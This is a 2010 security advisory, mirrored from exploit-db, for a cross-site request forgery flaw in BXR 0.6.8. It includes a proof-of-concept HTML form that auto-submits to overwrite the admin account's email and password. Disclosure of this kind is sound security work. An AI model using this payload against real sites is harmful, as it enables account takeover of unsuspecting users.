BXR 0.6.8 – Cross-Site Request Forgery

  • 作者: High-Tech Bridge SA
    日期: 2010-08-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14563/
  • Vulnerability ID: HTB22503
    Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_bxr.html
    Product: BXR
    Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/bxr )
    Vulnerable Version: 0.6.8 and Probably Prior Versions
    Vendor Notification: 22 July 2010
    Vulnerability Type: CSRF (Cross-Site Request Forgery)
    Status: Fixed by Vendor
    Risk level: Low
    Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
    
    Vulnerability Details:
    The vulnerability exists due to failure in the "/user/update" script to properly verify the source of HTTP request.
    
    Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
    
    Attacker can use browser to exploit this vulnerability. The following PoC is available:
    
    <form action="http://host/user/update/1" method="post" name="main" >
    
    <input type="hidden" name="user[name]" value="admin" />
    <input type="hidden" name="user[email]" value="myemail (at) example (dot) com [email concealed]" />
    <input type="hidden" name="user[password]" value="123" />
    <input type="hidden" name="user[password_confirmation]" value="123" />
    <input type="hidden" name="belongs_to_group[1]" value="yes" />
    <input type="hidden" name="user[default_folder_id]" value="1" />
    <input type="hidden" name="commit" value="Save" />
    
    </form>
    <script>
    document.main.submit();
    </script>
    
    Solution: Upgrade to the most recent version